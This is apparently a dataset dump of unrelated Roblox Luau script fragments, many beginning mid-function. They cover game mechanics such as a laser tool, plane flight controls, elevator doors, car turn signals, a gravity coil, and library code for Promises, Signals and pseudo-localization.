bux2.BorderColor3 = Color3.new(200/255,0,0)
end)
bux2.MouseLeave:connect(function()
bux2.BorderColor3 = Color3.new(0,0,0)
end)
bux3.MouseEnter:connect(function()
bux3.BorderColor3 = Color3.new(200/255,0,0)
end)
bux3.MouseLeave:connect(function()
bux3.BorderColor3 = Color3.new(0,0,0)
end)
|
--bp.Position = shelly.PrimaryPart.Position
|
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
repeat task.wait() until tick()-ostrich > 10
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)
while true do
if shellyGood then
MoveShelly()
else
task.wait(1)
end
end
|
--[[Running Logic]]
|
--
local equipped = false
local rayparts = {}
local ColorChoices = {BrickColor.new('Really red'),BrickColor.new('Lime green'),BrickColor.new('Toothpaste')}
local StartOffset = {Vector3.new(-.45,0,0),Vector3.new(0,0,0),Vector3.new(.45,0,0)}
local oldC0 =nil
local nweld
local EffectFunctions =
{
function(hum,dir) hum:TakeDamage(1) end,
function(hum,dir) hum:TakeDamage(-1) end,
function(hum,dir)
if hum.Torso then
local nforce = Instance.new('BodyForce')
nforce.force = dir*3000
nforce.Parent = hum.Torso
hum.Sit = true
game.Debris:AddItem(nforce,.2)
Delay(.2,function() hum.Sit = false end)
end
end
}
Tool.Equipped:connect(function(mouse)
--game.Players.LocalPlayer:GetMouse()
Spawn(function()
local colorChoice = 1
if not Tool.Parent:FindFirstChild('Torso') or not Tool.Parent.Torso:FindFirstChild('Right Shoulder') or not Tool.Parent:FindFirstChild('Humanoid') then return end
LazerSound:Play()
nweld = Tool.Parent.Torso['Right Shoulder']
oldC0 = nweld.C0
nweld.CurrentAngle = 0
nweld.DesiredAngle = 0
nweld.MaxVelocity = 0
mouse.Button1Down:connect(function()
colorChoice=colorChoice+1
if colorChoice>#ColorChoices then colorChoice =1 end
LazerSound.Pitch = .75+((colorChoice*.25)*3)
end)
equipped = true
while equipped and Tool.Parent:FindFirstChild('Torso') do
local tframe = Tool.Parent.Torso.CFrame
tframe = tframe + tframe:vectorToWorldSpace(Vector3.new(1, 0.5, 0))
local taim = mouse.Hit.p -( tframe.p )
nweld.C0 = (CFrame.new(Vector3.new(),tframe:vectorToObjectSpace(taim))*CFrame.Angles(0,math.pi/2,0))+Vector3.new( 1, 0.5, 0 )
rayparts = CastLightRay(Handle.CFrame.p+Handle.CFrame:vectorToWorldSpace(StartOffset[colorChoice]),mouse.Hit.p,ColorChoices[colorChoice], 5, .2,rayparts, EffectFunctions[colorChoice])
LazerSound.Volume = ((math.sin(tick()*3)+1)*.25)+.25
wait()
end
nweld.C0 =oldC0
LazerSound:Stop()
end)
end)
Tool.Unequipped:connect(function(mouse)
equipped= false
LazerSound:Stop()
for i=1,50,1 do
if rayparts[i] then
rayparts[i]:Destroy()
rayparts[i]=nil
end
end
if nweld then
nweld.MaxVelocity =.15
nweld.C0 =oldC0
end
end)
|
-- Continuously update the TextLabel
|
while true do
updateTextLabel()
wait(1) -- Adjust the wait time as needed
end
|
--[=[
Similar to [Promise.andThen](#andThen), except the return value is the same as the value passed to the handler. In other words, you can insert a `:tap` into a Promise chain without affecting the value that downstream Promises receive.
```lua
getTheValue()
:tap(print)
:andThen(function(theValue)
print("Got", theValue, "even though print returns nil!")
end)
```
If you return a Promise from the tap handler callback, its value will be discarded but `tap` will still wait until it resolves before passing the original value through.
@param tapHandler (...: any) -> ...any
@return Promise<...any>
]=]
|
function Promise.prototype:tap(tapCallback)
assert(type(tapCallback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:tap"))
return self:_andThen(debug.traceback(nil, 2), function(...)
local callbackReturn = tapCallback(...)
if Promise.is(callbackReturn) then
local length, values = pack(...)
return callbackReturn:andThen(function()
return unpack(values, 1, length)
end)
end
return ...
end)
end
|
--local Service = require(script.Parent)
|
local currentTestingService = nil
function this.new()
if not currentTestingService then
local self = {}--Service.new() -- change this to "local self = {}" Nvm I did it for you
setmetatable(self,this)
return self
end
return currentTestingService -- return cached TestingService
end
function this:GetEnvironment()
local Environment = "Release"
if game:GetService("RunService"):IsStudio() then
Environment = "Debug"
end
return Environment
end
function this:GetFlags()
return script.Flags[self:GetEnvironment()]:GetChildren()
end
function this:GetEnabledFlags() -- returns flags that are turned on for the environment
local EnabledFlags = {}
for i,v in pairs(self:GetFlags()) do
if v.Value == true then
EnabledFlags[v.Name] = true -- For example -> if EnabledFlags["SecretFeature1"] then ...
end
end
return EnabledFlags
end
function this:GetDisabledFlags() -- returns flags that are turned off for the environment
local DisabledFlags = {}
for i,v in pairs(self:GetFlags()) do
if v.Value == false then
DisabledFlags[v.Name] = true -- For example -> if DisabledFlags["SecretFeature1"] then ...
end
end
return DisabledFlags
end
function this:IsFlagEnabled(FlagName) -- it's not exactly efficient and direct referencing
-- would be faster, but we're trying to prevent errors here!
-- FindFirstChild would be more efficient and scan quicker but it really doesn't make that much of a difference here
-- I don't expect anybody to be calling this function frame by frame. Just cache the result ¯\_(ツ)_/¯
local EnabledFlags = self:GetEnabledFlags()
if EnabledFlags[FlagName] then
return true
end
return false
end
return this
|
-- local throttleNeeded =
|
local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max))
stallLine = (stallLine > 1 and 1 or stallLine)
panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0)
panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0))
if (change == 1) then
currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed) -- Reduce "glitchy" speed
else
currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed)
end
local tax,stl = taxi(),stall()
if ((lastStall) and (not stl) and (not tax)) then -- Recovering from a stall:
if ((realSpeed > -10000) and (realSpeed < 10000)) then
currentSpeed = realSpeed
else
currentSpeed = (stallSpeed+1)
end
end
lastStall = stl
move.velocity = (main.CFrame.lookVector*currentSpeed) -- Set speed to aircraft
local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank) -- My special equation to calculate the banking of the plane. It's pretty simple actually
bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank)
if (tax) then
if (currentSpeed < 2) then -- Stop plane from moving/turning when idled on ground
move.maxForce = Vector3.new(0,0,0)
gyro.maxTorque = Vector3.new(0,0,0)
else
move.maxForce = Vector3.new(math.huge,0,math.huge) -- Taxi
gyro.maxTorque = Vector3.new(0,math.huge,0)
gyro.cframe = CFrame.new(main.Position,m.Hit.p)
end
elseif (stl) then
move.maxForce = Vector3.new(0,0,0) -- Stall
gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
else
move.maxForce = Vector3.new(math.huge,math.huge,math.huge) -- Fly
gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank)))
end
if ((altRestrict) and (main.Position.y < altMin)) then -- If you have altitude restrictions and are below the minimun altitude, then make the plane explode
plane.AutoCrash.Value = true
end
updateGui(tax,stl) -- Keep the pilot informed!
main.Throttle.Value = throttle
if currentSpeed > 0 then
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Attach
else
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Follow
end
wait()
end
end
script.Parent.ImageButton.MouseEnter:connect(function(m) -- Initial setup
script.Parent.ImageButton:Destroy()
mouse = game.Players.LocalPlayer:GetMouse()
mouseSave = mouse
mouse.Icon = "http://www.roblox.com/asset/?id=48801855" -- Mouse icon used in Perilous Skies
panel.Visible=true
delay(0,function() fly(mouse) end) -- Basically a coroutine
mouse.KeyDown:connect(function(k)
if (not flying) then return end
k = k:lower()
if (k == keys.engine.key) then
main.Engine.Value = true
script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(255/255, 255/255, 0)
script.Parent.Panel.Engines.BorderColor3 = Color3.new(170/255, 170/255, 0)
wait (20)
script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(85/255, 255/255, 0)
script.Parent.Panel.Engines.BorderColor3 = Color3.new(0, 85/255, 0)
on = (not on)
if (not on) then throttle = 0
main.Engine.Value = false
script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(255/255, 255/255, 0)
script.Parent.Panel.Engines.BorderColor3 = Color3.new(170/255, 170/255, 0)
wait (20)
script.Parent.Panel.Engines.BackgroundColor3 = Color3.new(196/255, 40/255, 28/255)
script.Parent.Panel.Engines.BorderColor3 = Color3.new(100/255, 0, 0)
end
elseif (k:byte() == keys.spdup.byte) then
keys.spdup.down = true
delay(0,function()
while ((keys.spdup.down) and (on) and (flying)) do
throttle = (throttle+throttleInc)
throttle = (throttle > 1 and 1 or throttle)
wait()
end
end)
elseif (k:byte() == keys.spddwn.byte) then
keys.spddwn.down = true
delay(0,function()
while ((keys.spddwn.down) and (on) and (flying)) do
throttle = (throttle-throttleInc)
throttle = (throttle < 0 and 0 or throttle)
wait()
end
end)
end
end)
mouse.KeyUp:connect(function(k)
if (k:byte() == keys.spdup.byte) then
keys.spdup.down = false
elseif (k:byte() == keys.spddwn.byte) then
keys.spddwn.down = false
end
end)
end)
function exitplane()
flying = false
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
mouseSave.Icon = "rbxasset://textures\\ArrowCursor.png"
script.Parent:Destroy()
player.Character.Freeze.Captian.Value = false
player.Character.Humanoid.JumpPower = 50
player.Character.Humanoid.Jump = true
end
panel.ExitButton.MouseButton1Down:connect(exitplane)
|
-------------------------
|
function DoorClose()
if Shaft00.MetalDoor.CanCollide == false then
Shaft00.MetalDoor.CanCollide = true
while Shaft00.MetalDoor.Transparency > 0.0 do
Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed.
end
if Shaft01.MetalDoor.CanCollide == false then
Shaft01.MetalDoor.CanCollide = true
while Shaft01.MetalDoor.Transparency > 0.0 do
Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft02.MetalDoor.CanCollide == false then
Shaft02.MetalDoor.CanCollide = true
while Shaft02.MetalDoor.Transparency > 0.0 do
Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft03.MetalDoor.CanCollide == false then
Shaft03.MetalDoor.CanCollide = true
while Shaft03.MetalDoor.Transparency > 0.0 do
Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft04.MetalDoor.CanCollide == false then
Shaft04.MetalDoor.CanCollide = true
while Shaft04.MetalDoor.Transparency > 0.0 do
Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft05.MetalDoor.CanCollide == false then
Shaft05.MetalDoor.CanCollide = true
while Shaft05.MetalDoor.Transparency > 0.0 do
Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft06.MetalDoor.CanCollide == false then
Shaft06.MetalDoor.CanCollide = true
while Shaft06.MetalDoor.Transparency > 0.0 do
Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft07.MetalDoor.CanCollide == false then
Shaft07.MetalDoor.CanCollide = true
while Shaft07.MetalDoor.Transparency > 0.0 do
Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1
wait(0.000001)
end
end
if Shaft08.MetalDoor.CanCollide == false then
Shaft08.MetalDoor.CanCollide = true
while Shaft08.MetalDoor.Transparency > 0.0 do
Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft09.MetalDoor.CanCollide == false then
Shaft09.MetalDoor.CanCollide = true
while Shaft09.MetalDoor.Transparency > 0.0 do
Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft10.MetalDoor.CanCollide == false then
Shaft10.MetalDoor.CanCollide = true
while Shaft10.MetalDoor.Transparency > 0.0 do
Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft11.MetalDoor.CanCollide == false then
Shaft11.MetalDoor.CanCollide = true
while Shaft11.MetalDoor.Transparency > 0.0 do
Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft12.MetalDoor.CanCollide == false then
Shaft12.MetalDoor.CanCollide = true
while Shaft12.MetalDoor.Transparency > 0.0 do
Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft13.MetalDoor.CanCollide == false then
Shaft13.MetalDoor.CanCollide = true
while Shaft13.MetalDoor.Transparency > 0.0 do
Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
end
function onClicked()
DoorClose()
end
script.Parent.MouseButton1Click:connect(onClicked)
script.Parent.MouseButton1Click:connect(function()
if clicker == true
then clicker = false
else
return
end
end)
script.Parent.MouseButton1Click:connect(function()
Car.Touched:connect(function(otherPart)
if otherPart == Elevator.Floors.F08
then StopE() DoorOpen()
end
end)end)
function StopE()
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
Car.BodyPosition.position = Elevator.Floors.F08.Position
clicker = true
end
function DoorOpen()
while Shaft07.MetalDoor.Transparency < 1.0 do
Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency + .1
wait(0.000001)
end
Shaft07.MetalDoor.CanCollide = false
end
|
--returns the wielding player of this tool
|
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
local Object = Tool.Handle:Clone()
Object.Burn.Attachment.Debris.Enabled = true
Object.ThinkFast:Destroy()
Object.Parent = workspace
Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "creator"
tag.Parent = Object
end
PowerRemote.OnServerEvent:Connect(function(player, Power)
local holder = getPlayer()
if holder ~= player then return end
AttackVelocity = Power
end)
TossRemote.OnServerEvent:Connect(function(player, mousePosition)
local holder = getPlayer()
if holder ~= player then return end
if Cooldown.Value == true then return end
Cooldown.Value = true
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
local SecretRNG = Random.new():NextInteger(1,10) --Change RNG value here
if SecretRNG == 1 then
local ChucklenutsSound = Tool.Handle.ThinkFast:Play()
end
Toss(lookAt)
Tool:Destroy()
end)
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
-- dark886's click regen script
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol
|
location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()
function onClicked()
regen:remove()
back = save:clone()
back.Parent = location
back:MakeJoints()
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--Made by Repressed_Memories
-- Edited by Truenus
|
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal
local rightfront = car.Body.Lights.Right.TurnSignal
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local off = BrickColor.New("Burlap")
local on = BrickColor.New("Deep orange")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftfront.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonleft.BrickColor = off
leftfront.BrickColor = off
component.TurnSignal:play()
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
neonleft.BrickColor = on
leftfront.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off
neonleft.BrickColor = off
leftfront.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
-- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)
|
function getSmoothRotation(rotations)
local targElev = rotations[1];
local targRot = rotations[2];
local maxGunDepression = tankStats.GunDepression.Value;
-- Restrict the height of travel of the gun
if math.abs(targElev) > maxGunDepression then
targElev = maxGunDepression*sign(targElev);
end
-- Once target angles are set, slowly turn turret towards them
-- Elevation
local elevDiff = targElev - currentElev;
if math.abs(elevDiff) < 0.01 then -- If they're close
currentElev = targElev;
else -- Move towards it
currentElev = currentElev + 0.01*sign(elevDiff);
end
-- Rotation
local rotDiff = targRot - currentRot;
if rotDiff > math.pi then
rotDiff = rotDiff - 2*math.pi;
elseif rotDiff < -math.pi then
rotDiff = rotDiff + 2*math.pi;
end
local turretSpeed = tankStats.TurretSpeed.Value;
if math.abs(rotDiff) < turretSpeed then -- If they're close
currentRot = targRot;
else -- Move towards it
currentRot = currentRot + turretSpeed*sign(rotDiff);
end
-- Put rotation and elevation into an array
local rotations = {};
rotations[1] = targElev;
rotations[2] = targRot;
return rotations;
end
|
-- sound group for easy main volume tweaking
|
local SoundGroup = Instance.new("SoundGroup")
SoundGroup.Name = "__RainSoundGroup"
SoundGroup.Volume = RAIN_SOUND_BASEVOLUME
SoundGroup.Archivable = false
local Sound = Instance.new("Sound")
Sound.Name = "RainSound"
Sound.Volume = volumeTarget
Sound.SoundId = RAIN_SOUND_ASSET
Sound.Looped = true
Sound.SoundGroup = SoundGroup
Sound.Parent = SoundGroup
Sound.Archivable = false
|
-- Format params: N/A
|
local ERR_OBJECT_DISPOSED = "This Caster has been disposed. It can no longer be used."
|
--[=[
Cleans up the signal.
Technically, this is only necessary if the signal is created using
`Signal.Wrap`. Connections should be properly GC'd once the signal
is no longer referenced anywhere. However, it is still good practice
to include ways to strictly clean up resources. Calling `Destroy`
on a signal will also disconnect all connections immediately.
```lua
signal:Destroy()
```
]=]
|
function Signal:Destroy()
self:DisconnectAll()
local proxyHandler = rawget(self, "_proxyHandler")
if proxyHandler then
proxyHandler:Disconnect()
end
end
|
-- RENDER LOOP --
|
local MPL,PL,curr=0 curr=Sound.SoundId
game:GetService'RunService'.RenderStepped:connect(function()
PL=Sound.PlaybackLoudness
if Sound.IsPlaying and PL==PL then -- Sound is playing & PlaybackLoudness is not undefined
if curr~=Sound.SoundId then MPL=0 -- Reset the relative Max PlaybackLoudness on song change
curr=Sound.SoundId
end
MPL=math.max(PL,MPL) PL=PL/MPL -- Normalize PL based on relative Max PlaybackLoudness
if PL==PL then
Set(math.floor(PL*nBars),PL*Height) -- Modify bar relative to PlaybackLoudness
end
end
end)
while wait() do
script.Activator.Value = not script.Activator.Value
end
|
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "Custom song"
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""
|
end
F.pauseSong = function()
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
|
--[=[
Parses a localization table and adds a pseudo localized locale to the table.
@param localizationTable LocalizationTable -- LocalizationTable to add to.
@param preferredLocaleId string? -- Preferred locale to use. Defaults to "qlp-pls"
@param preferredFromLocale string? -- Preferred from locale. Defaults to "en-us"
@return string -- The translated line
]=]
|
function PseudoLocalize.addToLocalizationTable(localizationTable, preferredLocaleId, preferredFromLocale)
local localeId = preferredLocaleId or "qlp-pls"
local fromLocale = preferredFromLocale or "en"
local entries = localizationTable:GetEntries()
for _, entry in pairs(entries) do
if not entry.Values[localeId] then
local line = entry.Values[fromLocale]
if line then
entry.Values[localeId] = PseudoLocalize.pseudoLocalize(line)
else
warn(("[PseudoLocalize.addToLocalizationTable] - No entry in key %q for locale %q")
:format(entry.Key, fromLocale))
end
end
end
localizationTable:SetEntries(entries)
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Gravity = 196.20
JumpHeightPercentage = 0.25
ToolEquipped = false
function GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
for ii, vv in pairs(Parts) do
if v == vv then
Ignore = true
end
end
if not Ignore then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function SetGravityEffect()
if not GravityEffect or not GravityEffect.Parent then
GravityEffect = Instance.new("BodyForce")
GravityEffect.Name = "GravityCoilEffect"
GravityEffect.Parent = Torso
end
local TotalMass = 0
local ConnectedParts = GetAllConnectedParts(Torso)
for i, v in pairs(ConnectedParts) do
if v:IsA("BasePart") then
TotalMass = (TotalMass + v:GetMass())
end
end
local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
GravityEffect.force = Vector3.new(0, TotalMass, 0)
end
function HandleGravityEffect(Enabled)
if not CheckIfAlive() then
return
end
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyForce") then
v:Destroy()
end
end
for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
if v then
v:disconnect()
end
end
if Enabled then
CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
SetGravityEffect()
DescendantAdded = Character.DescendantAdded:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
DescendantRemoving = Character.DescendantRemoving:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if HumanoidDied then
HumanoidDied:disconnect()
end
HumanoidDied = Humanoid.Died:connect(function()
if GravityEffect and GravityEffect.Parent then
GravityEffect:Destroy()
end
end)
HandleGravityEffect(true)
ToolEquipped = true
end
function Unequipped()
if HumanoidDied then
HumanoidDied:disconnect()
end
HandleGravityEffect(false)
ToolEquipped = false
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.